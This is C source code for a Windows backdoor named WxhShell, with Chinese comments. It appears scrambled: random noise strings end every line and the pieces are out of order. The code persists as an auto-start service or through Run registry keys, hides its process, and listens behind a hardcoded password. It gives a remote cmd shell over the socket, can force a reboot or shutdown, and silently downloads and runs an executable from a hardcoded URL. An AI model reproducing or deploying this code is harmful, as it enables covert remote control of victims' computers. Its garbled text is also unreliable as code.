    if(Boot(SHUTDOWN)) BHS8MV L@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @KU^B_{i  
    else { &C6*"JZ4  
    closesocket(wsh); c,5yH  
    ExitThread(0); L ?S#3@Pa  
    } -'j|U[&N\  
    break; \WM"VT  
    } )fbYP@9>a  
  // 获取shell ?b?YiK&yz  
  case 's': { |N5|B Q(y$  
    CmdShell(wsh); g`41d  
    closesocket(wsh); %WFZ&>en&  
    ExitThread(0); YDGW]T]i ?  
    break; v(Q-RR  
  } 35~1$uRA  
  // 退出 28lor&Cc  
  case 'x': { #!w7E,UBi  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v3r<kNW_  
    CloseIt(wsh); X>Y>1fI.  
    break; ov|pXi<e  
    } WCg&*  
  // 离开 knRs{1}Pw{  
  case 'q': { ^x}k1F3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B?;P:!/1  
    closesocket(wsh); Jy-V\.N>s  
    WSACleanup(); rf =Wq_  
    exit(1); !4T7@V`G  
    break; N?c!uO|h|  
        } +LaR_n[  
  } (CY#B%*  
  } G]gc*\4  
5:SS2>~g  
  // 提示信息 }%S#d&wh$_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w!52DBOe+  
} < !PbD  
  } p^ )iC&*0  
4u7^v1/  
  return; h:<?)g~U  
} 'A'[N :i  
ZP"Xn/L  
// shell模块句柄 qyR}|<F8*  
int CmdShell(SOCKET sock) J|DY /v  
{ (A~w IKY,  
STARTUPINFO si; 70N Lv  
ZeroMemory(&si,sizeof(si)); X 3(*bj>P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N$P\$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; otdm r w|  
PROCESS_INFORMATION ProcessInfo; />V& OX `  
char cmdline[]="cmd"; |) CfO4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A0H6}53, $  
  return 0; QJU\YH%}  
} A%.ZesjAx  
>]ZW.?1h  
// 自身启动模式 uQz!of%x  
int StartFromService(void) 1F{,Zr  
{ ;~(yv|f6  
typedef struct ]eo%eaA   
{ >4nQ&b.u  
  DWORD ExitStatus; N$<R6DU]K  
  DWORD PebBaseAddress; J(Zz^$8]<?  
  DWORD AffinityMask; }KR"0G[f  
  DWORD BasePriority; |_%q@EID  
  ULONG UniqueProcessId; l|K$6>80  
  ULONG InheritedFromUniqueProcessId; HD>UTX`&mc  
}   PROCESS_BASIC_INFORMATION; >yqFO  
I"HA( +G  
PROCNTQSIP NtQueryInformationProcess; X> U _v  
Er<!8;{?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oVIc^yk5a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RdLk85<n  
`':G92}#  
  HANDLE             hProcess;  OF O,5  
  PROCESS_BASIC_INFORMATION pbi; FR6 PY  
@J<RFgw#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &L r~x#Wx  
  if(NULL == hInst ) return 0; b$>1_wTL  
Lm'+z97  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {Hzj(c~S?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YGOhUT |  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %(:{TR  
o8N,mGj}  
  if (!NtQueryInformationProcess) return 0; x,TnYqT^  
B9S@G{`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'm.+S8  
  if(!hProcess) return 0; Dao=2JB{  
 !xEGN@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FM<`\ d'  
?{wD%58^oG  
  CloseHandle(hProcess); ?vmoRX  
;e6- *  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); __`6 W1  
if(hProcess==NULL) return 0; S%df'bh$  
q5\iQ2f{WV  
HMODULE hMod; #E#Fk3-ljQ  
char procName[255]; Nu@dMG<5  
unsigned long cbNeeded; | &/_{T  
e;9x%kNs!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Mt&n|']`8  
@nIoIz D~  
  CloseHandle(hProcess); 8+8L'Yv;  
j5rMY=|F  
if(strstr(procName,"services")) return 1; // 以服务启动 {pC$jd>T  
O6Y1*XTmH6  
  return 0; // 注册表启动 TEi1,yc  
} !HKW_m^3J  
UvuA N:'  
// 主模块 X u2+TK  
int StartWxhshell(LPSTR lpCmdLine) OtoG,~?  
{ qD,/Qu62  
  SOCKET wsl; oObQN;A@6  
BOOL val=TRUE; xMFEeSzl>S  
  int port=0; sCE%./h]  
  struct sockaddr_in door; g1)ZjABV  
~%@1-  
  if(wscfg.ws_autoins) Install(); FA{(gib@9  
$.zd,}l@L  
port=atoi(lpCmdLine); D&G^|: G  
\Yh*ywwP#  
if(port<=0) port=wscfg.ws_port; |g1Pr9{wy  
I/go$@E"  
  WSADATA data; p;~oIy\,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .pIO<ZAFT  
%$67*pY'JH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r(JP& @  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '~zi~Q7M  
  door.sin_family = AF_INET; q2*1Gn9!j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $J#Z`%B^y  
  door.sin_port = htons(port);  vPAL,  
hP$5>G(3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5 hW#BB  
closesocket(wsl); \s7/`  
return 1; C]Q}HI#G  
} <TgVU.*  
^#U[v7y  
  if(listen(wsl,2) == INVALID_SOCKET) { co-1r/ -O  
closesocket(wsl); W=Mdh}u_I  
return 1; aI 1tG  
} ,JfP$HJ  
  Wxhshell(wsl); Xq}}T%jcd  
  WSACleanup(); ~U5Tn3'~  
8y;gs1d;A  
return 0; $.4N@=s,?c  
k}!'@  
} 0S$TLbx  
?RS4oJz,5g  
// 以NT服务方式启动 _}.WRFIJ@L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p5l|qs  
{ C$4{'J-ZH  
DWORD   status = 0; H'Jz:6   
  DWORD   specificError = 0xfffffff; 3Pvz57z{  
gZ8JfA_\R(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; . Ctd$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h=^UMat-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |-z"6F r-  
  serviceStatus.dwWin32ExitCode     = 0; bmJdZD7-<k  
  serviceStatus.dwServiceSpecificExitCode = 0; {u4AOM=)  
  serviceStatus.dwCheckPoint       = 0; Y$s4 *)%  
  serviceStatus.dwWaitHint       = 0; N_d{E/  
2Sk"S/4}Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k106fT]eX  
  if (hServiceStatusHandle==0) return; #Y'ewu;qJ  
p-H}NQ\  
status = GetLastError(); T[MDjhv'  
  if (status!=NO_ERROR) tToP7q^  
{ \UZ7_\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @76I8r5l  
    serviceStatus.dwCheckPoint       = 0; zx@L sp  
    serviceStatus.dwWaitHint       = 0; c/V0AKkS 8  
    serviceStatus.dwWin32ExitCode     = status; Rln\  
    serviceStatus.dwServiceSpecificExitCode = specificError; syCT)}T6z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rw hKW?r+  
    return; dVZ~n4  
  } KyBtt47\  
8Wgzca Q*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /T+%q#4  
  serviceStatus.dwCheckPoint       = 0;  btBu[;  
  serviceStatus.dwWaitHint       = 0; t%Bh'HkG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $-]I?cWlQ  
} uPE Ab2u="  
p{+F{e  
// 处理NT服务事件,比如:启动、停止 8C@6 b4VK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .9?GKD  
{ M{SJ8+G  
switch(fdwControl) ]dgi]R|`  
{ + WT?p]  
case SERVICE_CONTROL_STOP: VCwC$ts  
  serviceStatus.dwWin32ExitCode = 0; Yv0y8Vz@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?Ezy0>j  
  serviceStatus.dwCheckPoint   = 0; wN^^_  
  serviceStatus.dwWaitHint     = 0; Ao#bREm  
  { { SDnVV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C_yNSD  
  } oDayfyy4y)  
  return; .&I!2F  
case SERVICE_CONTROL_PAUSE: b_7LSp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~(B%E'  
  break; "=LeHY=9  
case SERVICE_CONTROL_CONTINUE: KtArV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HZ1nuA  
  break; \:+ NVIN  
case SERVICE_CONTROL_INTERROGATE: 5sNN:m  
  break; "c.-`1,t  
}; |~&cTDd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hBV m; `  
} pl$wy}W-  
%(]B1Zg6,  
// 标准应用程序主函数 |*M07Hc x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9e.$x%7j  
{ &eqqgLz  
w9n0p0xr<  
// 获取操作系统版本 T(Bcp^N  
OsIsNt=GetOsVer(); J'tJY% `  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T#i~/  
<":83RCS  
  // 从命令行安装 .gt;:8fw{  
  if(strpbrk(lpCmdLine,"iI")) Install(); >V4r '9I  
f1sp6S0V\  
  // 下载执行文件 1Zi` \N4T  
if(wscfg.ws_downexe) { Y0J:c?,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +SW|/oIU  
  WinExec(wscfg.ws_filenam,SW_HIDE); MWK)Bn  
} @"wX#ot  
/a)^)  
if(!OsIsNt) { LROrhO  
// 如果时win9x,隐藏进程并且设置为注册表启动 :qzh kKu  
HideProc(); Q)lD2  
StartWxhshell(lpCmdLine); _dW#[TCF  
} %oWG"u  
else y&bZai8WlE  
  if(StartFromService()) e+:X%a4\  
  // 以服务方式启动 _~*j=XRs  
  StartServiceCtrlDispatcher(DispatchTable); kD7'BP/#  
else |_QpB?b  
  // 普通方式启动 d1D=R8P_u  
  StartWxhshell(lpCmdLine); Q laoa)d#  
K\zb+  
return 0; a .?AniB0  
} _+H $Pa}?  
Zg0nsNA   
$!TMS&Wk  
-]{ _^  
=========================================== (44L8)I.D  
)>U"WZ'<  
#2$wI^O  
-$_FKny  
J<4_<.o(a  
ynZEJKo  
" &9z&#`AY]>  
 Z'l!/l!  
#include <stdio.h> U<>@)0~7g!  
#include <string.h> ZS=;)  
#include <windows.h> q&_\A0  
#include <winsock2.h> !ZvVj\{  
#include <winsvc.h> %d40us8E  
#include <urlmon.h> ^f-)gZ&  
2oOos%0  
#pragma comment (lib, "Ws2_32.lib") t o8J   
#pragma comment (lib, "urlmon.lib") T 1_B0H2  
G l2WbY  
#define MAX_USER   100 // 最大客户端连接数  R0F [  
#define BUF_SOCK   200 // sock buffer _MuzD&^qE  
#define KEY_BUFF   255 // 输入 buffer uXvE>VpJG  
G N=8;Kq%  
#define REBOOT     0   // 重启 J!G92A~*]  
#define SHUTDOWN   1   // 关机 B&<5VjZ\  
cIa`pU,6A  
#define DEF_PORT   5000 // 监听端口 z`I%3U5(  
_[i.)8$7  
#define REG_LEN     16   // 注册表键长度 EwgNd Gcj  
#define SVC_LEN     80   // NT服务名长度 j]` hy"  
p GF;,h>  
// 从dll定义API }_}    
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bj0<A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ciz,1IV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ShvC4Xb 0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (FZ8T39  
?<Hgq8J  
// wxhshell配置信息 jC$~m#F  
struct WSCFG { O '`|(L  
  int ws_port;         // 监听端口 z@?y(E  
  char ws_passstr[REG_LEN]; // 口令 }NRt:JC  
  int ws_autoins;       // 安装标记, 1=yes 0=no qs= i+  
  char ws_regname[REG_LEN]; // 注册表键名 mwN "Cu4t  
  char ws_svcname[REG_LEN]; // 服务名 m7Ry FnR2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .j"heYF)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x\yr~$}(J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G#@#j]8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o4@d,uIw^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iT s" RW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :#_k`{WG  
u,}>I%21  
}; DMs8B&Y=  
9 C{Xpu  
// default Wxhshell configuration l@u  "iGw  
struct WSCFG wscfg={DEF_PORT, Pth4_]US  
    "xuhuanlingzhe", x1STjI>i  
    1, $}5M`p\&C  
    "Wxhshell", oHp"\Z&  
    "Wxhshell", /v| b]Ji  
            "WxhShell Service", J7e /+W~  
    "Wrsky Windows CmdShell Service", a?4Asn  
    "Please Input Your Password: ", e=IbEm{|  
  1, 'J!Gip ,  
  "http://www.wrsky.com/wxhshell.exe", yB=R7E7  
  "Wxhshell.exe" )8n?.keq  
    }; w40*vBz  
B|+% ExT7  
// 消息定义模块 ;~WoJlEK3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7}~nQl2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H4{7,n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'O9Yu{M  
char *msg_ws_ext="\n\rExit."; DYC2bs>  
char *msg_ws_end="\n\rQuit."; UEm4):/}  
char *msg_ws_boot="\n\rReboot..."; dl |$pm@x  
char *msg_ws_poff="\n\rShutdown..."; h.Sbds  
char *msg_ws_down="\n\rSave to "; T nyLVIP  
dVGcth;  
char *msg_ws_err="\n\rErr!"; Z=%u:K}[  
char *msg_ws_ok="\n\rOK!"; '%:E4oI  
xG Y!r"[  
char ExeFile[MAX_PATH]; f,LeJTX=  
int nUser = 0; AXi4{Q,  
HANDLE handles[MAX_USER]; PJe \PGh  
int OsIsNt; m7XN6zX  
%u<r_^w5  
SERVICE_STATUS       serviceStatus; 'd;aAG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )cZ KB0*+  
^YfAsBs&  
// 函数声明 3/& |Z<f  
int Install(void); xlgT1b:6  
int Uninstall(void); ?qn4 ea-\P  
int DownloadFile(char *sURL, SOCKET wsh); 5H 1x-b  
int Boot(int flag); ;eO Ye3;c  
void HideProc(void); gh"_,ZhZt  
int GetOsVer(void); {_z6  
int Wxhshell(SOCKET wsl); ?Iaqbt%2  
void TalkWithClient(void *cs); d4Y[}Fcp+  
int CmdShell(SOCKET sock); IF//bgk-  
int StartFromService(void); -GQ.B{%G  
int StartWxhshell(LPSTR lpCmdLine); 2(e;pM2Dq  
=&qfmq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ANj%q9e!Yi  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2"P1I  
N "eK9>  
// 数据结构和表定义 vt5>>rl  
SERVICE_TABLE_ENTRY DispatchTable[] = !y!s/i&P%  
{ @cm[]]f'l  
{wscfg.ws_svcname, NTServiceMain}, KK-+vq  
{NULL, NULL} 2!{_x8,n  
}; ,5K&f\  
?6I`$ &OA  
// 自我安装 A^0-%Ygl  
int Install(void) gB,Q4acjj  
{ ilQ\+xR{b  
  char svExeFile[MAX_PATH]; a"1LF`  
  HKEY key; miCY?=N`  
  strcpy(svExeFile,ExeFile); F0r5$Pl*  
@ e7_&EGR?  
// 如果是win9x系统,修改注册表设为自启动 fg1uqS1rg  
if(!OsIsNt) { xcJvXp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f)Z'#[A*t7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X\<a|/{V A  
  RegCloseKey(key);  Y!|};  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (.{."  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m5KLi &R  
  RegCloseKey(key); Vt9o8naz  
  return 0; mcQ\"9;pY  
    } 6jl{^dI  
  } (ueH@A"9;  
} }JT&lyO< b  
else { D6e<1W  
*1>Tc,mb  
// 如果是NT以上系统,安装为系统服务 AJzm/,H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $.B}zY{  
if (schSCManager!=0) ~ r$I&8  
{ _qQo}|/q  
  SC_HANDLE schService = CreateService :n x;~f  
  ( SBw'z(U  
  schSCManager, _,-\;  
  wscfg.ws_svcname, [~Z#yEiW^  
  wscfg.ws_svcdisp, _tO2PI L@Z  
  SERVICE_ALL_ACCESS, r&L1jT.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Vr&v:8:wb  
  SERVICE_AUTO_START, pcm1IwR`  
  SERVICE_ERROR_NORMAL, qEkhgJqk  
  svExeFile, Ac[;S!R  
  NULL, x_H"<-By  
  NULL, [Kbna>`  
  NULL, O9p^P%U"  
  NULL, |txzIc.#  
  NULL '_g*I  
  ); Yt4v}{+  
  if (schService!=0) )IE) a[wo  
  { *I9G"R8  
  CloseServiceHandle(schService); kaCn@$  
  CloseServiceHandle(schSCManager); W*4!A\K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); er!+QD,EM  
  strcat(svExeFile,wscfg.ws_svcname); Ax!fvcsN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O}7aX '  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \l 3M\$oS>  
  RegCloseKey(key); `k08M)  
  return 0; TR{dNO!q  
    } MpJx>0j/J  
  } [@s5v  
  CloseServiceHandle(schSCManager); bW'Y8ok[v  
} 6M8(KN^  
} 'FN3r  
r8L'C  
return 1; B#4 J![BX  
} H329P*P  
yhyh\.  
// 自我卸载 )#Y:Bj7H@2  
int Uninstall(void) uRw%`J4H  
{ Fd9Z7C  
  HKEY key; 7|?Ht]  
jH4Wu`r;m  
if(!OsIsNt) { 9p"';*{=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K%vGfQ8Er-  
  RegDeleteValue(key,wscfg.ws_regname); UAdj [m61  
  RegCloseKey(key); /B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *P[N.5{  
  RegDeleteValue(key,wscfg.ws_regname); h^b=  
  RegCloseKey(key); ]g9n#$|.  
  return 0; Y+~>9-S  
  } 2f-Or/v  
} #kQLHi3##  
} z.kBQ{P  
else { 2wgdrO|B  
{|@N~c+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Wy$Q!R=i  
if (schSCManager!=0) 7jF2m'(  
{ 2?owXcbx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oga0h'  
  if (schService!=0) ]^l-k@  
  { Xc]Q_70O  
  if(DeleteService(schService)!=0) {  Qp>Q-+e0  
  CloseServiceHandle(schService); PFeK;`[  
  CloseServiceHandle(schSCManager); O,KlZf_B  
  return 0; =TXc - J  
  } ~9+\  
  CloseServiceHandle(schService); k+cHx799  
  } cGjkx3l*  
  CloseServiceHandle(schSCManager); W-ECmw(  
} Bk~M^AK@~  
} .'N#qs_  
{eo?vA8SE  
return 1; /?QBMI  
} p&;,$KDA  
:~9F/Jx  
// 从指定url下载文件 w9a6F  
int DownloadFile(char *sURL, SOCKET wsh) cV)~%e/  
{ GD .>u  
  HRESULT hr; <3Hu(Jx<O  
char seps[]= "/"; iD9hqiX&  
char *token; MMUw+jM4  
char *file; Eh f{Kl  
char myURL[MAX_PATH]; }L*cP;m#  
char myFILE[MAX_PATH]; bjq2XP?LL  
Mxe  
strcpy(myURL,sURL); %5H>tG`]   
  token=strtok(myURL,seps); L"!BN/i_  
  while(token!=NULL) Q /\Hc  
  { K?+ Rq  
    file=token; `{I-E5 x  
  token=strtok(NULL,seps); \7,'o] >M-  
  } v|mZcAz  
c}FZb$q#  
GetCurrentDirectory(MAX_PATH,myFILE); \<A@Nf"  
strcat(myFILE, "\\"); |4a#O8d  
strcat(myFILE, file); lL:J:  
  send(wsh,myFILE,strlen(myFILE),0); c^8y/wfok  
send(wsh,"...",3,0); 7e&%R4{b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v<Ux+-  
  if(hr==S_OK) [t`QV2um  
return 0; [VP ~~*b  
else Fc<+N0M{  
return 1; /1lUFL2D  
VN8ao0^d;d  
} 89)rss  
Y,@{1X`0@3  
// 系统电源模块 +P<LoI  
int Boot(int flag) +<H)DPG<  
{ -.E<~(fad  
  HANDLE hToken; hw&R .F  
  TOKEN_PRIVILEGES tkp; ]Z\.Vx  
R#Bdfmld q  
  if(OsIsNt) { ;=6~,k)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u-. _;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #`4ma:Pj  
    tkp.PrivilegeCount = 1; jM3{A;U2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I(Yyg,1Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bmO[9 )G  
if(flag==REBOOT) { RtR]9^:~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IPnbR)[%  
  return 0; OsR4oT  
} fW4N+2  
else { l8hOryB&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [?hc.COE  
  return 0; o3l_&?^  
} /^\6q"'  
  } 'DQKpk'  
  else { (v8jVbg  
if(flag==REBOOT) { m>6,{g)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j{9sn,<:  
  return 0; x AD:Z "  
} nV%1/e"5  
else { BS;_l"?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e? fFh,a  
  return 0; ~V"D|U;i +  
} .~6p/fHX  
} D[)g-_3f6<  
Dw^d!%Ala  
return 1; ]|[oL6"  
} o84!$2P+w  
;p#)z/zZ  
// win9x进程隐藏模块 >LwZ"IE V  
void HideProc(void) T)]5k3{  
{ Pz1pEyuL  
MD S;qZx=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0> m-J  
  if ( hKernel != NULL ) aQaO.K2  
  { .4~n|d>z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \0m[Ch}~ey  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 70L{u+wIy  
    FreeLibrary(hKernel); </|IgN$w`  
  } +)FB[/pXk  
W9?Vh{w  
return; T'l >$6  
} C_Y^<  
^~2GhveBV  
// 获取操作系统版本 0t1WvW  
int GetOsVer(void) { CkxUec  
{ <w.W[ak  
  OSVERSIONINFO winfo; V 3-5:z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @U(D&_H,K  
  GetVersionEx(&winfo); J]~LmSh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R$=UJ}>  
  return 1; n=n!Hn  
  else EOjo>w>  
  return 0; 2hl'mRW  
} ZUb6d*B  
\&J7>vu^y  
// 客户端句柄模块 s3W)hU)  
int Wxhshell(SOCKET wsl) Qj?FUxw  
{ $z]gy]F  
  SOCKET wsh; Cw`v\ 9  
  struct sockaddr_in client; E3y"  
  DWORD myID; g&H6~ +\  
ewSFB< N  
  while(nUser<MAX_USER) T"XP`gk  
{ G_g~-[O  
  int nSize=sizeof(client); J A ]s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #n 7uw  
  if(wsh==INVALID_SOCKET) return 1; ao<@a{G  
BM#cosV7%h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "8aw=3A  
if(handles[nUser]==0) iNgHx[*?  
  closesocket(wsh); XS]=sfN  
else *BT-@V.4  
  nUser++; =usx' #rb  
  } r"SuE:D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yK<%AV@v  
'c\zW mAZ  
  return 0; JB a:))lw  
} C XZm/^  
n0kBLn  
// 关闭 socket zo&'2I  
void CloseIt(SOCKET wsh) B i?DmrH  
{ vAi kd#C)  
closesocket(wsh); (CS"s+y1  
nUser--; l njaHol0  
ExitThread(0); L{;q^  
} k`6T% [D]  
Zg%U4m:  
// 客户端请求句柄 iVzv/Lqm1  
void TalkWithClient(void *cs) ~oh=QakW  
{ -@-cG\{  
2P~zYdjS  
  SOCKET wsh=(SOCKET)cs; M;={]w@n  
  char pwd[SVC_LEN]; b2. xJ4  
  char cmd[KEY_BUFF]; {n=)<w  
char chr[1]; Q2iS0#  
int i,j; aHe/MucK  
lqa.Nj  
  while (nUser < MAX_USER) { a1B_w#?8  
0n|op:]BHM  
if(wscfg.ws_passstr) { bN@V=C3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZkkXITQkPM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wX" 6 S:  
  //ZeroMemory(pwd,KEY_BUFF); 5zX;/n~  
      i=0; /i$E|[  
  while(i<SVC_LEN) { &aldnJ  
/pZLt)=P  
  // 设置超时 gX5I`mm  
  fd_set FdRead; kehv85  
  struct timeval TimeOut; <7/_Vs)F0  
  FD_ZERO(&FdRead); xWD=",0+  
  FD_SET(wsh,&FdRead); wj9CL1Gx  
  TimeOut.tv_sec=8; V}=9S@$o  
  TimeOut.tv_usec=0; Id(o6j^J_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8E"Ik ~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UMuqdLaT9  
8P0XY S@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7OYNH0EH  
  pwd=chr[0]; 7OG=LF*V-  
  if(chr[0]==0xd || chr[0]==0xa) { aR ao\Wp|  
  pwd=0; p#) u2^  
  break; P Ig)h-w?  
  } _ro^<V$%  
  i++;  8Br*  
    }  ;?1H&  
2Otd  
  // 如果是非法用户,关闭 socket W)ihk\E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sH(4.36+  
} 8i=J(5=  
2ixg ix  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }BS.OK?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :XEP:8  
t&^9o $  
while(1) { ]tL9y<  
PuqT&|wP l  
  ZeroMemory(cmd,KEY_BUFF); R:P'QM   
Wc ]BQn  
      // 自动支持客户端 telnet标准   \%z#|oV#<  
  j=0; /Y:&307q  
  while(j<KEY_BUFF) { RrRrB"!8nR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mBSa*s)  
  cmd[j]=chr[0]; W# E`h  
  if(chr[0]==0xa || chr[0]==0xd) { *P_(hG&c  
  cmd[j]=0; u;p{&\(]  
  break; s3kHNDdC  
  } ;3OQgKI  
  j++; YwyP+S r\  
    } ~UX@%0%)N  
0m $f9b|Q?  
  // 下载文件 ^A dHP!I  
  if(strstr(cmd,"http://")) { O%;H#3kn&s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4eK!1|1  
  if(DownloadFile(cmd,wsh)) F0W4B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S:4'k^E  
  else a,tzt ]>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lfp[(Ph)9  
  } ~+}w>jIm{|  
  else { 3 HOJCgit  
Gf( hN|X.  
    switch(cmd[0]) { Q;W[$yvW  
  O|=5+X  
  // 帮助 oa$-o/DhB  
